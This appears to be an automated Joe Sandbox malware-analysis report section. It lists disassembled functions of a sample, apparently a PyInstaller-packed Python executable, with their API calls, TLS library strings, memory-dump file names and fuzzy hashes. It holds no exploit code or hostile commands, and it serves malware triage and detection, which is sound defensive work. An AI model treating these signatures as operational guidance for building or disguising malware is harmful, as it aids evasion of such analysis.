Associated: 00000002.00000002.1493380127.00007FF8E80DD000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1493380127.00007FF8E80E0000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494657271.00007FF8E80E1000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000002.00000002.1494938031.00007FF8E80E3000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80d0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 6b94263228284adea3e7e1cdca652a094aa349ee7aad73e387e1651aa79022c0
Instruction ID: ebbcb5b168c0d5bea8521b5041411b2cd34b83ff4e8ddfa9e4094ce9ef007743
Opcode Fuzzy Hash: 6b94263228284adea3e7e1cdca652a094aa349ee7aad73e387e1651aa79022c0
Instruction Fuzzy Hash: C6311A72609B8187EB609FA0E8503EE7764FB84794F44803ADA4E47BD9DF3CD6488B15

Function 00007FF7EAD25C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7EAD25C45

Part of subcall function 00007FF7EAD25598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD255AC

Part of subcall function 00007FF7EAD1A948: HeapFree.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A95E
Part of subcall function 00007FF7EAD1A948: GetLastError.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A968

Part of subcall function 00007FF7EAD1A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7EAD1A8DF,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1A909
Part of subcall function 00007FF7EAD1A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7EAD1A8DF,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1A92E

_get_daylight.LIBCMT ref: 00007FF7EAD25C34

Part of subcall function 00007FF7EAD255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD2560C

_get_daylight.LIBCMT ref: 00007FF7EAD25EAA
_get_daylight.LIBCMT ref: 00007FF7EAD25EBB
_get_daylight.LIBCMT ref: 00007FF7EAD25ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7EAD2610C), ref: 00007FF7EAD25EF3

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction ID: feef039ee7deb00c37f8ee75818b46884c4f7fb5df07af97e66af3a7906f4d7b
Opcode Fuzzy Hash: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction Fuzzy Hash: F8D1AE26A0824246F720FF25D881BB9A761EF94794FC481B7EA0D47699EE3CE441C772

Function 00007FF7EAD1A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7EAD1A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7EAD1A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF7EAD1A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF7EAD1A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7EAD1A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7EAD1A72E

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: 0de5e91adda5b643549efd4550c29c5ef072a380bc9a6c5675796fb433ce32cf
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 1A318236608F8185EB20DF24E8403AEB3A4FB94758F900136EA9D43B69DF3CD145CB11

Function 00007FF8E7A21CBC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 292COMMON

Download Yara Rule

Strings

tls_construct_new_session_ticket, xrefs: 00007FF8E7A96DCD, 00007FF8E7A96E7E, 00007FF8E7A97009, 00007FF8E7A97083
..\s\ssl\statem\statem_srvr.c, xrefs: 00007FF8E7A96DD9, 00007FF8E7A96E8A, 00007FF8E7A96FA3, 00007FF8E7A96FC3, 00007FF8E7A97015, 00007FF8E7A9708F, 00007FF8E7A97167
resumption, xrefs: 00007FF8E7A96EC3
construct_stateful_ticket, xrefs: 00007FF8E7A9715B

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ..\s\ssl\statem\statem_srvr.c$construct_stateful_ticket$resumption$tls_construct_new_session_ticket
API String ID: 0-1194634662
Opcode ID: c94791f86e3c1c1323ec9f109cc887bfa88f100ec66f8452c83b76583b23fb71
Instruction ID: 4b800031aa28aee72afbba43f41a439ea7137ee62c2e11955d0da1d16025092e
Opcode Fuzzy Hash: c94791f86e3c1c1323ec9f109cc887bfa88f100ec66f8452c83b76583b23fb71
Instruction Fuzzy Hash: E5D1AF22B1D68281FB509BA5E8427FD6790EB85BC8F544036EE6C4B79ACF3DE541C312

Function 00007FF8E8133E40 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 181networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF8E8133E6A
00007FF906013440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8E8133E8E

Strings

NOO, xrefs: 00007FF8E8134063
surrogatepass, xrefs: 00007FF8E813404E
unsupported address family, xrefs: 00007FF8E8134082

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: 00007ErrorF906013440Last
String ID: NOO$surrogatepass$unsupported address family
API String ID: 3485956551-472101058
Opcode ID: e2301973ca244d9adc6b6ab578d2e372c8de1439fb0a9aba9528582346aaa0b5
Instruction ID: 643dddd20b66920805b14124c9f20cc2ccbdd0a344b5e7baad2f5bdd81823957
Opcode Fuzzy Hash: e2301973ca244d9adc6b6ab578d2e372c8de1439fb0a9aba9528582346aaa0b5
Instruction Fuzzy Hash: BD81BD22E08B9281EA518BA5E5403BE73A0FF59BD0F064135DE4E437A4EF3DE484C70A

Function 00007FF7EAD21874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD218C0
FindFirstFileExW.KERNEL32 ref: 00007FF7EAD219CA

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction ID: aa46445dc62515560b75628329d928c87d25a4fdc03928228d9be78db9822ea6
Opcode Fuzzy Hash: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction Fuzzy Hash: 59B1B432B1869241FA61EB2195043B9E3A1EB95BE4F849173EA5D07B9DEE3CE441C331

Function 00007FF8E7A21EE2 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 470COMMON

Download Yara Rule

APIs

00007FF9060208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8E7A7CCF4

Strings

D:\a\1\s\include\internal/packet.h, xrefs: 00007FF8E7A7CAE9, 00007FF8E7A7CAFD
tls_parse_ctos_psk, xrefs: 00007FF8E7A7CE7A, 00007FF8E7A7CECD, 00007FF8E7A7CFFB, 00007FF8E7A7D0D6, 00007FF8E7A7D135
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FF8E7A7CB37, 00007FF8E7A7CE86, 00007FF8E7A7CED4, 00007FF8E7A7D002, 00007FF8E7A7D0DD, 00007FF8E7A7D13C

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F9060208
String ID: ..\s\ssl\statem\extensions_srvr.c$D:\a\1\s\include\internal/packet.h$tls_parse_ctos_psk
API String ID: 3464486852-3130753023
Opcode ID: 61b467f36872fde71698c80f3b57ac3c6faba2ba744cb4768d1c2235e01b7059
Instruction ID: d7b94f398e579b8384c67afcaba4ccece4eca849c8f0c4c98233d2934fff13c8
Opcode Fuzzy Hash: 61b467f36872fde71698c80f3b57ac3c6faba2ba744cb4768d1c2235e01b7059
Instruction Fuzzy Hash: 7A12D262B0CA8281FB149BA5E4467BEA795FF817C4F404032EE6D47B9ADF7CE5418702

Function 00007FF8E80FBF74 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

00007FF8E7A21C3A.LIBSSL-3 ref: 00007FF8E80FC067

Strings

Cannot create a server socket with a PROTOCOL_TLS_CLIENT context, xrefs: 00007FF8E80FBFBC
Cannot create a client socket with a PROTOCOL_TLS_SERVER context, xrefs: 00007FF8E80FC001
Python, xrefs: 00007FF8E80FC0BA

Memory Dump Source

Source File: 00000002.00000002.1495132572.00007FF8E80F1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FF8E80F0000, based on PE: true

Associated: 00000002.00000002.1494989941.00007FF8E80F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E80FE000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E8111000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811A000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495132572.00007FF8E811E000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495565226.00007FF8E8121000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000002.00000002.1495640960.00007FF8E8123000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e80f0000_SecuriteInfo.jbxd

Similarity

API ID: 00007
String ID: Cannot create a client socket with a PROTOCOL_TLS_SERVER context$Cannot create a server socket with a PROTOCOL_TLS_CLIENT context$Python
API String ID: 3568877910-1888807747
Opcode ID: cd1b8ea646ef9afa8d9b55c550e8d37b12c63986d5a7a861df86a7bcf2bbbd8b
Instruction ID: dce0bd8f1933e4e2116dd78d44b20ef01ffc490bc8d8d763985a4fea84b3de59
Opcode Fuzzy Hash: cd1b8ea646ef9afa8d9b55c550e8d37b12c63986d5a7a861df86a7bcf2bbbd8b
Instruction Fuzzy Hash: 37A14A36A0CA5286EEA09FA6A85562D7361FF85BD0F148435DE4E07BE0DF3CE445870A

Function 00007FF7EAD25E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7EAD25EAA

Part of subcall function 00007FF7EAD255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD2560C

_get_daylight.LIBCMT ref: 00007FF7EAD25EBB

Part of subcall function 00007FF7EAD25598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD255AC

_get_daylight.LIBCMT ref: 00007FF7EAD25ECC

Part of subcall function 00007FF7EAD255C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD255DC

Part of subcall function 00007FF7EAD1A948: HeapFree.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A95E
Part of subcall function 00007FF7EAD1A948: GetLastError.KERNEL32(?,?,?,00007FF7EAD22D22,?,?,?,00007FF7EAD22D5F,?,?,00000000,00007FF7EAD23225,?,?,?,00007FF7EAD23157), ref: 00007FF7EAD1A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7EAD2610C), ref: 00007FF7EAD25EF3

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction ID: bf490f140bd8aad831dba4d5576fa1d25809c9971226ccdb52ff4440ccbece9c
Opcode Fuzzy Hash: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction Fuzzy Hash: 72517F32A0864286F710FF25D9816A9E761FB88784FC041B7EA4D876A9EF3CE441C771

Function 00007FF8E7A224DC Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 329COMMON

Download Yara Rule

APIs

00007FF9060208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8E7A73366

Strings

tls_construct_ctos_psk, xrefs: 00007FF8E7A73302, 00007FF8E7A73476, 00007FF8E7A734E2, 00007FF8E7A7352A, 00007FF8E7A73736, 00007FF8E7A73774, 00007FF8E7A737AB
..\s\ssl\statem\extensions_clnt.c, xrefs: 00007FF8E7A7330E, 00007FF8E7A73482, 00007FF8E7A734EE, 00007FF8E7A73536, 00007FF8E7A73742, 00007FF8E7A73780, 00007FF8E7A737B7

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F9060208
String ID: ..\s\ssl\statem\extensions_clnt.c$tls_construct_ctos_psk
API String ID: 3464486852-446233508
Opcode ID: 6f1e473bb4d7c6af8c0df0e29d063f6f90a189f454450d160f75b595daedfc77
Instruction ID: 9980b957c3c5f89ef1394b8c1d43689299db9f8214a8792378a7be1de799e1df
Opcode Fuzzy Hash: 6f1e473bb4d7c6af8c0df0e29d063f6f90a189f454450d160f75b595daedfc77
Instruction Fuzzy Hash: 1ED10061B0D6C381FB54EBA2E5527BE2291EF85BC4F550031EE2D4BB86CF2DE5518B02

Function 00007FF8E8136424 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

listen.WS2_32 ref: 00007FF8E813647A

Strings

|i:listen, xrefs: 00007FF8E8136440

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: listen
String ID: |i:listen
API String ID: 3257165821-1087349693
Opcode ID: 236a73d6f59518f4dd2701652e7b01f649b09d785da2048cfb4d59739cfef329
Instruction ID: 907397184f89c31e2aa6326d59105fac0b967d248228e3fb1d326fc39c0afe98
Opcode Fuzzy Hash: 236a73d6f59518f4dd2701652e7b01f649b09d785da2048cfb4d59739cfef329
Instruction Fuzzy Hash: B9014C21B28A4283FB448FA2E98426E6371FF89BD0F154031DA4E43B58DF3CE455C705

Function 00007FF8E7A68816 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e01617633d62c7c04581d9db99b67ae7cf5d116ed409b32e1f2b517a31030fcb
Instruction ID: 7401c2ccebd71d26920eff96f626991c1986ea97818037b19c6067321994f069
Opcode Fuzzy Hash: e01617633d62c7c04581d9db99b67ae7cf5d116ed409b32e1f2b517a31030fcb
Instruction Fuzzy Hash: A8B0924324E2C10BC302C7B4482444D2FA08583A4076C408F838683283C00C48488302

Function 00007FF7EAD05830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05840
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05852
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05889
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0589B
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD058B4
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD058C6
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD058DF
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD058F1
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0590D
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0591F
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0593B
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0594D
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05969
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0597B
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05997
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD059A9
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD059C5
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD059D7

Strings

Py_Finalize, xrefs: 00007FF7EAD058D5, 00007FF7EAD058F7
PyConfig_InitIsolatedConfig, xrefs: 00007FF7EAD059BB, 00007FF7EAD059DD
Py_InitializeFromConfig, xrefs: 00007FF7EAD05903, 00007FF7EAD05925
PyErr_Restore, xrefs: 00007FF7EAD05B87, 00007FF7EAD05BA9
PySys_GetObject, xrefs: 00007FF7EAD05E67, 00007FF7EAD05E89
PyMem_RawFree, xrefs: 00007FF7EAD05C9B, 00007FF7EAD05CBD
PyEval_EvalCode, xrefs: 00007FF7EAD05BB5, 00007FF7EAD05BD7
PyErr_Occurred, xrefs: 00007FF7EAD05B2B, 00007FF7EAD05B4D
PyStatus_Exception, xrefs: 00007FF7EAD05E39, 00007FF7EAD05E5B
PyUnicode_Join, xrefs: 00007FF7EAD05FA9, 00007FF7EAD05FCB
PyErr_Fetch, xrefs: 00007FF7EAD05ACF, 00007FF7EAD05AF1
PyObject_SetAttrString, xrefs: 00007FF7EAD05D81, 00007FF7EAD05DA3
PyErr_Clear, xrefs: 00007FF7EAD05AA1, 00007FF7EAD05AC3
PyUnicode_DecodeFSDefault, xrefs: 00007FF7EAD05F1F, 00007FF7EAD05F41
PyUnicode_AsUTF8, xrefs: 00007FF7EAD05EC3, 00007FF7EAD05EE5
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7EAD05DDD, 00007FF7EAD05DFF
PyConfig_SetWideStringList, xrefs: 00007FF7EAD05A73, 00007FF7EAD05A95
PyMarshal_ReadObjectFromString, xrefs: 00007FF7EAD05C6D, 00007FF7EAD05C8F
PyUnicode_FromFormat, xrefs: 00007FF7EAD05F4D, 00007FF7EAD05F6F
PyErr_Print, xrefs: 00007FF7EAD05B59, 00007FF7EAD05B7B
PyConfig_Read, xrefs: 00007FF7EAD059E9, 00007FF7EAD05A0B
PyUnicode_Replace, xrefs: 00007FF7EAD05FD7, 00007FF7EAD05FF9
PyImport_ExecCodeModule, xrefs: 00007FF7EAD05C11, 00007FF7EAD05C33
Py_ExitStatusException, xrefs: 00007FF7EAD058AA, 00007FF7EAD058CC
GetProcAddress, xrefs: 00007FF7EAD05868
PyImport_AddModule, xrefs: 00007FF7EAD05BE3, 00007FF7EAD05C05
PyObject_Str, xrefs: 00007FF7EAD05DAF, 00007FF7EAD05DD1
Py_PreInitialize, xrefs: 00007FF7EAD0595F, 00007FF7EAD05981
PyRun_SimpleStringFlags, xrefs: 00007FF7EAD05E0B, 00007FF7EAD05E2D
